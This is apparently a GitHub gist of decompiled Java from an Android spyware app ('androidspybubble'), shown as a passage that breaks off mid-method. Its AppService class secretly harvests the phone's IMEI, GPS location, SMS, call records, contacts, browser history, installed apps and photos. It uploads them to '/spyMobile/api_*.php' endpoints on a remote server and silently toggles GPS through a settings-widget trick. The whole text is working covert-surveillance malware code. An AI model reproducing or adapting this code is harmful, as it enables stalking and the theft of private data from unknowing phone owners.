Last active
March 26, 2019 12:35
-
-
Save zivzeira/c3afb34b8f87f145c59e4607e2dff800 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| public class AppService extends WakefulIntentService { | |
| static int Count_GPS_Not_Null = 0; | |
| static int Count_GPS_Off = 0; | |
| private static final int HANDLER_DELAY = 60000; | |
| private static final long MIN_DISTANCE_CHANGE_FOR_UPDATES = 1; | |
| private static final long MIN_TIME_BW_UPDATES = 60000; | |
| private static final long START_HANDLER_DELAY = 60000; | |
| static boolean Status_GPS_Function = true; | |
| static Boolean check_start_AppService = Boolean.valueOf(false); | |
| static Boolean check_start_upload_info = Boolean.valueOf(true); | |
| static String deviceIMEI; | |
| ArrayList<String> AppInfo = new ArrayList(); | |
| ArrayList<String> AppIsExist = new ArrayList(); | |
| ArrayList<String> AudiofileName = new ArrayList(); | |
| ArrayList<String> AudiopathName = new ArrayList(); | |
| ArrayList<String> CallDuration = new ArrayList(); | |
| ArrayList<String> CallType = new ArrayList(); | |
| ArrayList<String> CallerNo = new ArrayList(); | |
| ArrayList<String> CallerTiming = new ArrayList(); | |
| ArrayList<String> ImagefileName = new ArrayList(); | |
| ArrayList<String> ImagepathName = new ArrayList(); | |
| ArrayList<String> PhoneBookName = new ArrayList(); | |
| ArrayList<String> PhoneBookNo = new ArrayList(); | |
| ArrayList<String> PhoneBookType = new ArrayList(); | |
| ArrayList<String> UrlLink = new ArrayList(); | |
| ArrayList<String> UrlName = new ArrayList(); | |
| ArrayList<String> UrlTime = new ArrayList(); | |
| Double _curLat; | |
| Double _curLng; | |
| Activity activity; | |
| boolean canGetLocation = false; | |
| Context context; | |
| int count_num_gps = 2; | |
| int count_step_to_send_AppInfo = 2; | |
| int count_step_to_send_BrowserHistory = 1; | |
| int count_step_to_send_Image = 1; | |
| int count_step_to_send_PhoneBook = 2; | |
| GPSTracker gps; | |
| boolean isGPSEnabled = false; | |
| boolean isNetworkEnabled = false; | |
| double latitude; | |
| Location location; | |
| protected LocationManager locationManager; | |
| double longitude = 0.0d; | |
| private ScreenReceiver mReceiver; | |
| String strAddress; | |
| TelephonyManager telephony; | |
| class C02681 implements Runnable { | |
| C02681() { | |
| } | |
| public void run() { | |
| try { | |
| AppService.this.GPS_GET_Location_Period(); | |
| } catch (Exception e) { | |
| e.printStackTrace(); | |
| } | |
| } | |
| } | |
| class C02692 implements LocationListener { | |
| C02692() { | |
| } | |
| public void onLocationChanged(Location location) { | |
| } | |
| public void onProviderDisabled(String provider) { | |
| } | |
| public void onProviderEnabled(String provider) { | |
| } | |
| public void onStatusChanged(String provider, int status, Bundle extras) { | |
| } | |
| } | |
| public AppService() { | |
| super("AppService"); | |
| } | |
| protected void doWakefulWork(Intent intent) { | |
| try { | |
| if (ScreenStateService.mReceiver == null) { | |
| try { | |
| startService(new Intent(this, ScreenStateService.class)); | |
| } catch (Exception e) { | |
| } | |
| } | |
| } catch (Exception e2) { | |
| } | |
| if (!check_start_AppService.booleanValue()) { | |
| check_start_AppService = Boolean.valueOf(true); | |
| try { | |
| if (Count_GPS_Not_Null == 5) { | |
| Count_GPS_Not_Null = 0; | |
| } | |
| if (Count_GPS_Not_Null == 0) { | |
| new Thread(new C02681()).start(); | |
| } else { | |
| Count_GPS_Not_Null++; | |
| } | |
| } catch (Exception e3) { | |
| } | |
| if (check_start_upload_info.booleanValue()) { | |
| try { | |
| Start_All_Services(); | |
| } catch (Exception e4) { | |
| } | |
| } | |
| check_start_AppService = Boolean.valueOf(false); | |
| } | |
| } | |
| private void Start_All_Services() { | |
| try { | |
| if (check_start_upload_info.booleanValue()) { | |
| check_start_upload_info = Boolean.valueOf(false); | |
| this.context = this; | |
| System.out.println("Inside of dowakefull"); | |
| deviceIMEI = ((TelephonyManager) getSystemService("phone")).getDeviceId(); | |
| if (CheckConnection() == 1) { | |
| String tmp_user = LoginUser(deviceIMEI).toString().trim(); | |
| if (CheckConnection() == 1) { | |
| try { | |
| GPSData(deviceIMEI); | |
| } catch (Exception e) { | |
| Log.e("My Error GPSData ", e.toString()); | |
| } | |
| } | |
| try { | |
| if (CheckConnection() == 1) { | |
| try { | |
| readOutgoingSMS(); | |
| } catch (Exception e2) { | |
| } | |
| try { | |
| SendSMS(deviceIMEI); | |
| } catch (Exception e3) { | |
| } | |
| } | |
| if (CheckConnection() == 1) { | |
| try { | |
| sendCallDetails(deviceIMEI); | |
| } catch (Exception e4) { | |
| } | |
| } | |
| if (CheckConnection() == 1) { | |
| try { | |
| ScreenReceiver.upload_all_file_and_delete(); | |
| } catch (Exception e5) { | |
| } | |
| } | |
| if (CheckConnection() == 1) { | |
| try { | |
| if (this.count_step_to_send_PhoneBook == 0 && Integer.parseInt(CheckPhoneBookNew(deviceIMEI).replace("\n", "").replace("\r", "").replace(" ", "").replace("\u0000", "").replace('', ' ').replace(" ", "").trim()) < readPhonebook()) { | |
| SendPhoneBook(deviceIMEI); | |
| } | |
| this.count_step_to_send_PhoneBook++; | |
| if (this.count_step_to_send_PhoneBook == 3) { | |
| this.count_step_to_send_PhoneBook = 0; | |
| } | |
| } catch (Exception e6) { | |
| } | |
| } | |
| if (CheckConnection() == 1) { | |
| if (this.count_step_to_send_BrowserHistory == 0) { | |
| String Browser_last_insert = ""; | |
| for (int i = 0; i < 10; i++) { | |
| Browser_last_insert = SendBrowserDetails_GetLastTime(deviceIMEI); | |
| if (Browser_last_insert != null) { | |
| break; | |
| } | |
| if (Browser_last_insert != null) { | |
| try { | |
| Browser_last_insert = Browser_last_insert.replace("\n", "").replace("\r", "").replace("\u0000", "").replace('', ' ').trim(); | |
| if (Browser_last_insert != "") { | |
| break; | |
| } | |
| } catch (Exception e7) { | |
| } | |
| } | |
| } | |
| Browser_last_insert = Browser_last_insert.replace("\n", "").replace("\r", "").replace("\u0000", "").replace('', ' ').trim(); | |
| if (Browser_last_insert.indexOf(CleanerProperties.BOOL_ATT_EMPTY) > -1) { | |
| Browser_last_insert = "0000-00-00 00:00:00"; | |
| } | |
| if (Browser_last_insert != null) { | |
| try { | |
| getBrowserDetails(Browser_last_insert); | |
| } catch (Exception e8) { | |
| } | |
| try { | |
| SendBrowserDetails(deviceIMEI); | |
| } catch (Exception e9) { | |
| } | |
| } | |
| } | |
| this.count_step_to_send_BrowserHistory++; | |
| if (this.count_step_to_send_BrowserHistory == 3) { | |
| this.count_step_to_send_BrowserHistory = 0; | |
| } | |
| } | |
| if (CheckConnection() == 1) { | |
| try { | |
| if (this.count_step_to_send_AppInfo == 0) { | |
| readAppInfo(); | |
| SendAppInfo(deviceIMEI); | |
| } | |
| this.count_step_to_send_AppInfo++; | |
| if (this.count_step_to_send_AppInfo == 5) { | |
| this.count_step_to_send_AppInfo = 0; | |
| } | |
| } catch (Exception e10) { | |
| } | |
| } | |
| if (CheckConnection() == 1) { | |
| try { | |
| if (this.count_step_to_send_Image == 0) { | |
| getSentImages(); | |
| sendImageData(deviceIMEI); | |
| } | |
| this.count_step_to_send_Image++; | |
| if (this.count_step_to_send_Image == 1) { | |
| this.count_step_to_send_Image = 0; | |
| } | |
| } catch (Exception e11) { | |
| } | |
| } | |
| } catch (Exception e12) { | |
| Log.e("My Error first wakelock", e12.toString()); | |
| check_start_upload_info = Boolean.valueOf(true); | |
| } | |
| check_start_upload_info = Boolean.valueOf(true); | |
| } | |
| check_start_upload_info = Boolean.valueOf(true); | |
| check_start_upload_info = Boolean.valueOf(true); | |
| } | |
| } catch (Exception e13) { | |
| } | |
| } | |
| private void turnGPSOn2() { | |
| try { | |
| Intent intent = new Intent("android.location.GPS_ENABLED_CHANGE"); | |
| intent.putExtra("enabled", true); | |
| sendBroadcast(intent); | |
| } catch (Exception exp) { | |
| System.out.println("Error GPS ON2 = " + exp.toString()); | |
| } | |
| try { | |
| if (!Secure.getString(getContentResolver(), "location_providers_allowed").contains("gps")) { | |
| Intent poke = new Intent(); | |
| poke.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider"); | |
| poke.addCategory("android.intent.category.ALTERNATIVE"); | |
| poke.setData(Uri.parse("3")); | |
| sendBroadcast(poke); | |
| } | |
| } catch (Exception exp2) { | |
| System.out.println("Error GPS ON =" + exp2.toString()); | |
| } | |
| } | |
| private void turnGPSOff2() { | |
| try { | |
| Intent intent = new Intent("android.location.GPS_ENABLED_CHANGE"); | |
| intent.putExtra("enabled", false); | |
| sendBroadcast(intent); | |
| } catch (Exception exp) { | |
| System.out.println("Error GPS OFF1 = " + exp.toString()); | |
| } | |
| try { | |
| if (Secure.getString(getContentResolver(), "location_providers_allowed").contains("gps")) { | |
| Intent poke = new Intent(); | |
| poke.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider"); | |
| poke.addCategory("android.intent.category.ALTERNATIVE"); | |
| poke.setData(Uri.parse("3")); | |
| sendBroadcast(poke); | |
| } | |
| } catch (Exception exp2) { | |
| System.out.println("Error GPS OFF = " + exp2.toString()); | |
| } | |
| } | |
| private void turnGPSOn() { | |
| try { | |
| if (!Secure.getString(getContentResolver(), "location_providers_allowed").contains("gps")) { | |
| Intent poke = new Intent(); | |
| poke.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider"); | |
| poke.addCategory("android.intent.category.ALTERNATIVE"); | |
| poke.setData(Uri.parse("3")); | |
| sendBroadcast(poke); | |
| } | |
| } catch (Exception exp) { | |
| System.out.println("Error GPS Log Database = " + exp.toString()); | |
| } | |
| } | |
| private void turnGPSOff() { | |
| try { | |
| if (Secure.getString(getContentResolver(), "location_providers_allowed").contains("gps")) { | |
| Intent poke = new Intent(); | |
| poke.setClassName("com.android.settings", "com.android.settings.widget.SettingsAppWidgetProvider"); | |
| poke.addCategory("android.intent.category.ALTERNATIVE"); | |
| poke.setData(Uri.parse("3")); | |
| sendBroadcast(poke); | |
| } | |
| } catch (Exception exp) { | |
| System.out.println("Error GPS Log Database = " + exp.toString()); | |
| } | |
| } | |
| private void GPS_GET_Location_Period() { | |
| if (Status_GPS_Function) { | |
| Status_GPS_Function = false; | |
| try { | |
| turnGPSOn2(); | |
| } catch (Exception exp) { | |
| System.out.println("Error GPS ON = " + exp.toString()); | |
| } | |
| do { | |
| this.latitude = 0.0d; | |
| this.longitude = 0.0d; | |
| try { | |
| if (this.latitude == 0.0d && this.longitude == 0.0d) { | |
| find_Location(this); | |
| } | |
| } catch (Exception exp2) { | |
| System.out.println("Error GPS find_Location = " + exp2.toString()); | |
| } | |
| try { | |
| if (this.latitude == 0.0d && this.longitude == 0.0d) { | |
| this.gps = new GPSTracker(this); | |
| if (this.gps.canGetLocation()) { | |
| this.latitude = this.gps.getLatitude(); | |
| this.longitude = this.gps.getLongitude(); | |
| } | |
| } | |
| } catch (Exception exp22) { | |
| System.out.println("Error GPS GPSTracker = " + exp22.toString()); | |
| } | |
| if (this.latitude != 0.0d && this.longitude != 0.0d) { | |
| Count_GPS_Off = 0; | |
| try { | |
| DatabaseHandlers db = new DatabaseHandlers(this); | |
| String gpsDate = new SimpleDateFormat("yyy-MM-dd HH:mm:ss").format(new Date()); | |
| db.Insert_table("tbl_GPS", new String[]{"Lat", "Long", "Time"}, new String[]{Double.toString(this.latitude), Double.toString(this.longitude), gpsDate}); | |
| db.close(); | |
| Count_GPS_Not_Null++; | |
| } catch (Exception exp222) { | |
| System.out.println("Error GPS Log Database = " + exp222.toString()); | |
| } | |
| Count_GPS_Off = 0; | |
| turnGPSOff2(); | |
| break; | |
| } | |
| try { | |
| Count_GPS_Off++; | |
| } catch (Exception exp2222) { | |
| try { | |
| System.out.println("Error GPS Log Database = " + exp2222.toString()); | |
| } catch (Exception exp22222) { | |
| System.out.println("Error GPS Log Database = " + exp22222.toString()); | |
| } | |
| } | |
| try { | |
| if (!(this.latitude == 0.0d || this.longitude == 0.0d) || ScreenReceiver.wasScreenOn || Count_GPS_Off > 20) { | |
| Count_GPS_Off = 0; | |
| turnGPSOff2(); | |
| break; | |
| } | |
| } catch (Exception exp222222) { | |
| System.out.println("Error GPS OFF = " + exp222222.toString()); | |
| } | |
| try { | |
| Thread.sleep(500); | |
| } catch (InterruptedException e) { | |
| e.printStackTrace(); | |
| } | |
| try { | |
| if ((this.latitude == 0.0d || this.longitude == 0.0d) && !ScreenReceiver.wasScreenOn) { | |
| } | |
| } catch (Exception e2) { | |
| } | |
| } while (Count_GPS_Off <= 20); | |
| Count_GPS_Off = 0; | |
| turnGPSOff2(); | |
| Status_GPS_Function = true; | |
| } | |
| } | |
| public String CheckPhoneBookNew(String devid) { | |
| String result = "error"; | |
| try { | |
| DefaultHttpClient httpClient = new DefaultHttpClient(); | |
| HttpContext localContext = new BasicHttpContext(); | |
| try { | |
| String url = Mal.Server_Domain + "/spyMobile/api_phonebookaccess.php?imei=" + devid + "&numberType=" + "ContactNumber"; | |
| httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
| HttpPost httpPost = new HttpPost(url); | |
| HttpResponse response = null; | |
| try { | |
| response = httpClient.execute(httpPost, localContext); | |
| } catch (ClientProtocolException e) { | |
| } catch (IOException e2) { | |
| } | |
| HttpPost httpPost2; | |
| try { | |
| try { | |
| result = convertStreamToString(response.getEntity().getContent()); | |
| } catch (IllegalStateException e3) { | |
| e3.printStackTrace(); | |
| } catch (IOException e4) { | |
| e4.printStackTrace(); | |
| } | |
| httpPost2 = httpPost; | |
| } catch (Exception e5) { | |
| httpPost2 = httpPost; | |
| Mal.findServer(); | |
| return result; | |
| } | |
| } catch (Exception e6) { | |
| Mal.findServer(); | |
| return result; | |
| } | |
| } catch (Exception e7) { | |
| e7.printStackTrace(); | |
| } | |
| return result; | |
| } | |
| private boolean IsValid(String strDataDate) { | |
| String strYear = strDataDate.substring(0, 4); | |
| String strMonth = strDataDate.substring(5, 7); | |
| String strDate = strDataDate.substring(8, 10); | |
| String strCurrentYear = getCurrentDate().substring(0, 4); | |
| String strCurrentMonth = getCurrentDate().substring(5, 7); | |
| String strCurrentDate = getCurrentDate().substring(8, 10); | |
| if (Integer.parseInt(strYear) < Integer.parseInt(strCurrentYear) || Integer.parseInt(strMonth) < Integer.parseInt(strCurrentMonth) || Integer.parseInt(strDate) < Integer.parseInt(strCurrentDate)) { | |
| return false; | |
| } | |
| return true; | |
| } | |
| private String getCurrentDate() { | |
| String formattedDate = null; | |
| try { | |
| long installed = new File(this.context.getPackageManager().getApplicationInfo("com.androidspybubble.app", 0).sourceDir).lastModified(); | |
| Calendar c = Calendar.getInstance(); | |
| c.setTimeInMillis(installed); | |
| formattedDate = new SimpleDateFormat("yyyy-MM-dd").format(c.getTime()); | |
| } catch (Exception e) { | |
| System.out.println("Date Error = " + e.toString()); | |
| } | |
| return formattedDate; | |
| } | |
| public String LoginUser(String devid) { | |
| String result = "error"; | |
| try { | |
| DefaultHttpClient httpClient = new DefaultHttpClient(); | |
| String url = Mal.Server_Domain + "/spyMobile/api_imei.php?imei=" + devid; | |
| Log.d("url", url); | |
| httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
| try { | |
| result = convertStreamToString(httpClient.execute(new HttpPost(url)).getEntity().getContent()); | |
| } catch (IllegalStateException e) { | |
| e.printStackTrace(); | |
| } catch (IOException e2) { | |
| e2.printStackTrace(); | |
| } | |
| } catch (Exception e3) { | |
| Mal.findServer(); | |
| } | |
| return result; | |
| } | |
| private void readAppInfo() { | |
| try { | |
| PackageManager pm = getPackageManager(); | |
| List<ApplicationInfo> apps = pm.getInstalledApplications(0); | |
| List<ApplicationInfo> installedApps = new ArrayList(); | |
| for (ApplicationInfo app : apps) { | |
| try { | |
| if ((app.flags & 128) == 1) { | |
| installedApps.add(app); | |
| System.out.println("System installed app label : " + ((String) pm.getApplicationLabel(app))); | |
| } else if ((app.flags & 1) != 1) { | |
| installedApps.add(app); | |
| String label = (String) pm.getApplicationLabel(app); | |
| this.AppInfo.add(label); | |
| this.AppIsExist.add("Yes"); | |
| System.out.println("User installed app label : " + label); | |
| } | |
| } catch (Exception e) { | |
| System.out.println("Error in browser send = " + e.toString()); | |
| } | |
| } | |
| } catch (Exception e2) { | |
| System.out.println("Error in browser send = " + e2.toString()); | |
| } | |
| } | |
| public String SendAppInfo(String devid) { | |
| HttpPost httpPost; | |
| Exception e; | |
| String result = "error"; | |
| try { | |
| DefaultHttpClient httpClient = new DefaultHttpClient(); | |
| HttpContext localContext = new BasicHttpContext(); | |
| int i = 0; | |
| HttpPost httpPost2 = null; | |
| while (i < this.AppInfo.size()) { | |
| try { | |
| try { | |
| try { | |
| String strMessageText = URLEncoder.encode((String) this.AppInfo.get(i), "utf-8"); | |
| } catch (UnsupportedEncodingException e1) { | |
| e1.printStackTrace(); | |
| } | |
| String url = Mal.Server_Domain + "/spyMobile/api_appinfo.php?imei=" + devid + "&appinfo=" + ((String) this.AppInfo.get(i)) + "&isappexist=" + ((String) this.AppIsExist.get(i)); | |
| Log.d("Send appinfo url", url); | |
| url = url.replace(" ", "%20"); | |
| httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
| httpPost = new HttpPost(url); | |
| HttpResponse response = null; | |
| try { | |
| response = httpClient.execute(httpPost, localContext); | |
| } catch (ClientProtocolException e2) { | |
| } catch (IOException e3) { | |
| } | |
| try { | |
| try { | |
| result = convertStreamToString(response.getEntity().getContent()); | |
| } catch (IllegalStateException e4) { | |
| e4.printStackTrace(); | |
| } catch (IOException e5) { | |
| e5.printStackTrace(); | |
| } | |
| } catch (Exception e6) { | |
| try { | |
| Mal.findServer(); | |
| i++; | |
| httpPost2 = httpPost; | |
| } catch (Exception e7) { | |
| e = e7; | |
| } | |
| } | |
| } catch (Exception e8) { | |
| httpPost = httpPost2; | |
| Mal.findServer(); | |
| i++; | |
| httpPost2 = httpPost; | |
| } | |
| i++; | |
| httpPost2 = httpPost; | |
| } catch (Exception e9) { | |
| e = e9; | |
| httpPost = httpPost2; | |
| } | |
| } | |
| } catch (Exception e10) { | |
| System.out.println("Error in browser send = " + e10.toString()); | |
| } | |
| return result; | |
| e10.printStackTrace(); | |
| return result; | |
| } | |
| public String GPSData(String devid) { | |
| DatabaseHandlers db; | |
| HttpPost httpPost; | |
| Exception e; | |
| String result = "error"; | |
| try { | |
| DefaultHttpClient httpClient = new DefaultHttpClient(); | |
| HttpContext localContext = new BasicHttpContext(); | |
| new Time(Time.getCurrentTimezone()).setToNow(); | |
| db = new DatabaseHandlers(this.context); | |
| try { | |
| List<String> Data = db.getAllData("tbl_GPS", new String[]{"Lat", "Long", "Time"}); | |
| Boolean Write_log_for_first_step = Boolean.valueOf(true); | |
| int i = 0; | |
| HttpPost httpPost2 = null; | |
| while (i < Data.size()) { | |
| try { | |
| if (Write_log_for_first_step.booleanValue()) { | |
| Write_log_for_first_step = Boolean.valueOf(false); | |
| } | |
| try { | |
| String latit = (String) Data.get(i); | |
| String longi = (String) Data.get(i + 1); | |
| String timing = (String) Data.get(i + 2); | |
| ConvertPointToLocation(Double.parseDouble(latit), Double.parseDouble(longi)); | |
| String url = (Mal.Server_Domain + "/spyMobile/api_gpslocation.php?imei=" + devid + "¤tLoaction=" + this.strAddress + "&lat_long=" + longi + "," + latit + "&timing=" + timing).replace(" ", "%20"); | |
| Log.d("url", url); | |
| httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
| httpPost = new HttpPost(url); | |
| HttpResponse response = null; | |
| try { | |
| response = httpClient.execute(httpPost, localContext); | |
| } catch (ClientProtocolException e2) { | |
| } catch (IOException e3) { | |
| } | |
| try { | |
| try { | |
| result = convertStreamToString(response.getEntity().getContent()); | |
| } catch (IllegalStateException e4) { | |
| e4.printStackTrace(); | |
| } catch (IOException e5) { | |
| e5.printStackTrace(); | |
| } | |
| } catch (Exception e6) { | |
| Mal.findServer(); | |
| i += 4; | |
| httpPost2 = httpPost; | |
| } | |
| } catch (Exception e7) { | |
| httpPost = httpPost2; | |
| Mal.findServer(); | |
| i += 4; | |
| httpPost2 = httpPost; | |
| } | |
| i += 4; | |
| httpPost2 = httpPost; | |
| } catch (Exception e8) { | |
| e = e8; | |
| httpPost = httpPost2; | |
| } | |
| } | |
| try { | |
| if (Data.size() > 0) { | |
| db.DeleteAllContact("tbl_GPS"); | |
| } | |
| } catch (Exception exp) { | |
| System.out.println("Error DELETE ALL GPS Location Log Database = " + exp.toString()); | |
| } | |
| httpPost = httpPost2; | |
| } catch (Exception e9) { | |
| e = e9; | |
| } | |
| db.close(); | |
| } catch (Exception e10) { | |
| e10.printStackTrace(); | |
| } | |
| return result; | |
| e10.printStackTrace(); | |
| db.close(); | |
| return result; | |
| } | |
| @NonNull | |
| private static String convertStreamToString(InputStream is) { | |
| StringBuilder sb = new StringBuilder(); | |
| try { | |
| BufferedReader reader = new BufferedReader(new InputStreamReader(is), 1024); | |
| while (true) { | |
| try { | |
| String line = reader.readLine(); | |
| if (line == null) { | |
| break; | |
| } | |
| sb.append(line + "\n"); | |
| } catch (IOException e) { | |
| try { | |
| is.close(); | |
| } catch (IOException e2) { | |
| e2.printStackTrace(); | |
| } | |
| } catch (Exception e3) { | |
| e3.printStackTrace(); | |
| } catch (Throwable th) { | |
| try { | |
| is.close(); | |
| } catch (IOException e22) { | |
| e22.printStackTrace(); | |
| } | |
| } | |
| } | |
| System.out.println("Conver stream result = " + sb.toString()); | |
| try { | |
| is.close(); | |
| } catch (IOException e222) { | |
| e222.printStackTrace(); | |
| } | |
| } catch (Exception e32) { | |
| System.out.println("Error in browser send = " + e32.toString()); | |
| } | |
| return sb.toString(); | |
| } | |
| public void find_Location(Context con) { | |
| Log.d("Find Location", "in find_location"); | |
| try { | |
| LocationManager locationManager = (LocationManager) con.getSystemService("location"); | |
| List<String> providers = locationManager.getProviders(true); | |
| if (Looper.myLooper() == null) { | |
| Looper.prepare(); | |
| } | |
| for (String provider : providers) { | |
| locationManager.requestLocationUpdates(provider, 1000, 0.0f, new C02692(), Looper.getMainLooper()); | |
| Location location = locationManager.getLastKnownLocation(provider); | |
| if (location != null) { | |
| this.latitude = location.getLatitude(); | |
| this.longitude = location.getLongitude(); | |
| ConvertPointToLocation(this.latitude, this.longitude); | |
| } | |
| } | |
| } catch (Exception e) { | |
| e.printStackTrace(); | |
| } | |
| } | |
| public String ConvertPointToLocation(double pointlat, double pointlog) { | |
| String address = ""; | |
| try { | |
| List<Address> addresses = new Geocoder(this, Locale.getDefault()).getFromLocation(pointlat, pointlog, 1); | |
| if (addresses.size() > 0) { | |
| for (int index = 0; index < ((Address) addresses.get(0)).getMaxAddressLineIndex(); index++) { | |
| address = address + ((Address) addresses.get(0)).getAddressLine(index) + " "; | |
| } | |
| } | |
| this.strAddress = address; | |
| } catch (IOException e) { | |
| e.printStackTrace(); | |
| } | |
| return address; | |
| } | |
| public String sendCallDetails(String devid) { | |
| DatabaseHandlers db; | |
| Exception exp; | |
| String result = "error"; | |
| try { | |
| HttpPost httpPost; | |
| DefaultHttpClient httpClient = new DefaultHttpClient(); | |
| HttpContext localContext = new BasicHttpContext(); | |
| db = new DatabaseHandlers(this.context); | |
| List<String> Data = db.getAllData("tbl_CALL", new String[]{"Number", "Type", "Duration", "Time"}); | |
| int i = 0; | |
| HttpPost httpPost2 = null; | |
| while (i < Data.size()) { | |
| try { | |
| try { | |
| String url = Mal.Server_Domain + "/spyMobile/api_calltracking.php?imei=" + devid + "&callerno=" + ((String) Data.get(i)) + "&calltype=" + ((String) Data.get(i + 1)) + "&callduration=" + ((String) Data.get(i + 2)) + "&calltiming=" + ((String) Data.get(i + 3)); | |
| Log.d("Call Details ", url); | |
| url = url.replace(" ", "%20"); | |
| httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
| httpPost = new HttpPost(url); | |
| HttpResponse response = null; | |
| try { | |
| response = httpClient.execute(httpPost, localContext); | |
| } catch (ClientProtocolException e) { | |
| } catch (IOException e2) { | |
| } | |
| try { | |
| try { | |
| result = convertStreamToString(response.getEntity().getContent()); | |
| } catch (IllegalStateException e3) { | |
| e3.printStackTrace(); | |
| } catch (IOException e4) { | |
| e4.printStackTrace(); | |
| } | |
| } catch (Exception e5) { | |
| try { | |
| Mal.findServer(); | |
| i += 5; | |
| httpPost2 = httpPost; | |
| } catch (Exception e6) { | |
| exp = e6; | |
| } | |
| } | |
| } catch (Exception e7) { | |
| httpPost = httpPost2; | |
| Mal.findServer(); | |
| i += 5; | |
| httpPost2 = httpPost; | |
| } | |
| i += 5; | |
| httpPost2 = httpPost; | |
| } catch (Exception e8) { | |
| exp = e8; | |
| httpPost = httpPost2; | |
| } | |
| } | |
| try { | |
| if (Data.size() > 0) { | |
| db.DeleteAllContact("tbl_CALL"); | |
| } | |
| } catch (Exception exp2) { | |
| System.out.println("Error DELETE ALL Contact Log Database = " + exp2.toString()); | |
| } | |
| httpPost = httpPost2; | |
| db.close(); | |
| } catch (Exception e9) { | |
| e9.printStackTrace(); | |
| } | |
| return result; | |
| System.out.println("Error SendSMS Log Database = " + exp2.toString()); | |
| db.close(); | |
| return result; | |
| } | |
| public String sendImageData(String devid) { | |
| int j; | |
| HttpPost httpPost; | |
| String result = "error"; | |
| System.out.println("Inside of Send Image"); | |
| DefaultHttpClient httpClient = new DefaultHttpClient(); | |
| HttpContext localContext = new BasicHttpContext(); | |
| DatabaseHandlers db = new DatabaseHandlers(this); | |
| String[] columns_photosend = new String[]{"Name", "Path"}; | |
| List<String> Data = db.getAllData("tbl_PHOTO", columns_photosend); | |
| ArrayList<String> Name = new ArrayList(); | |
| ArrayList<String> Path = new ArrayList(); | |
| for (j = 0; j < Data.size(); j += 3) { | |
| try { | |
| Name.add(Data.get(j)); | |
| Path.add(Data.get(j + 1)); | |
| } catch (Exception e) { | |
| try { | |
| e.printStackTrace(); | |
| } catch (Exception e2) { | |
| e2.printStackTrace(); | |
| } | |
| } | |
| } | |
| int i = 0; | |
| HttpPost httpPost2 = null; | |
| while (i < this.ImagefileName.size()) { | |
| try { | |
| Boolean check_last_upload = Boolean.valueOf(false); | |
| j = 0; | |
| while (j < Name.size()) { | |
| if (((String) this.ImagefileName.get(i)).indexOf((String) Name.get(j)) >= 0 && ((String) this.ImagepathName.get(i)).indexOf((String) Path.get(j)) >= 0) { | |
| check_last_upload = Boolean.valueOf(true); | |
| break; | |
| } | |
| j++; | |
| } | |
| if (check_last_upload.booleanValue()) { | |
| httpPost = httpPost2; | |
| } else { | |
| try { | |
| db.Insert_table("tbl_PHOTO", columns_photosend, new String[]{(String) this.ImagefileName.get(i), ((String) this.ImagepathName.get(i)).trim()}); | |
| } catch (Exception e22) { | |
| e22.printStackTrace(); | |
| } | |
| System.out.println("Inside of Send Image for loop"); | |
| String url = Mal.Server_Domain + "/spyMobile/api_phototracking.php?imei=" + devid + "&photoName=" + ((String) this.ImagefileName.get(i)); | |
| Log.d("Send Image Data ", url); | |
| url = url.replace(" ", "%20"); | |
| httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
| httpPost = new HttpPost(url); | |
| HttpResponse response = null; | |
| try { | |
| response = httpClient.execute(httpPost, localContext); | |
| } catch (ClientProtocolException e3) { | |
| } catch (IOException e4) { | |
| } | |
| try { | |
| try { | |
| result = ""; | |
| result = convertStreamToString(response.getEntity().getContent()); | |
| if (result.indexOf("already Inserted") == -1) { | |
| doImageFileUpload(((String) this.ImagepathName.get(i)).trim(), devid); | |
| } | |
| } catch (IllegalStateException e5) { | |
| e5.printStackTrace(); | |
| } catch (IOException e6) { | |
| e6.printStackTrace(); | |
| } | |
| } catch (Exception e7) { | |
| Mal.findServer(); | |
| i++; | |
| httpPost2 = httpPost; | |
| } | |
| } | |
| } catch (Exception e8) { | |
| httpPost = httpPost2; | |
| Mal.findServer(); | |
| i++; | |
| httpPost2 = httpPost; | |
| } | |
| i++; | |
| httpPost2 = httpPost; | |
| } | |
| return result; | |
| } | |
| public String sendAudioData(String devid) { | |
| String result = "error"; | |
| DefaultHttpClient httpClient = new DefaultHttpClient(); | |
| HttpContext localContext = new BasicHttpContext(); | |
| int i = 0; | |
| while (i < this.AudiofileName.size()) { | |
| String url = Mal.Server_Domain + "/spyMobile/api_audio.php?imei=" + devid + "&audioname=" + ((String) this.AudiofileName.get(i)); | |
| Log.d("Send Audio Details ", url); | |
| url = url.replace(" ", "%20"); | |
| httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
| HttpResponse response = null; | |
| try { | |
| response = httpClient.execute(new HttpPost(url), localContext); | |
| } catch (ClientProtocolException e) { | |
| } catch (IOException e2) { | |
| } | |
| try { | |
| try { | |
| result = convertStreamToString(response.getEntity().getContent()); | |
| } catch (IllegalStateException e3) { | |
| e3.printStackTrace(); | |
| } catch (IOException e4) { | |
| e4.printStackTrace(); | |
| } | |
| i++; | |
| } catch (Exception e5) { | |
| Mal.findServer(); | |
| } | |
| } | |
| return result; | |
| } | |
| public String SendBrowserDetails_GetLastTime(String devid) { | |
| Exception e; | |
| try { | |
| DefaultHttpClient httpClient = new DefaultHttpClient(); | |
| HttpContext localContext = new BasicHttpContext(); | |
| HttpResponse response = null; | |
| System.out.println("Inside of SendBrowser Details = " + this.UrlName.size()); | |
| try { | |
| String url = (Mal.Server_Domain + "/spyMobile/api_urltracking.php?imei=" + devid + "&urlName=" + "getlasttime" + "&urlLink=a&timing=a").replace(" ", "%20"); | |
| Log.d("Browser url ", url); | |
| httpClient.getParams().setParameter("http.protocol.cookie-policy", "rfc2109"); | |
| HttpPost httpPost = new HttpPost(url); | |
| try { | |
| response = httpClient.execute(httpPost); | |
| } catch (ClientProtocolException e2) { | |
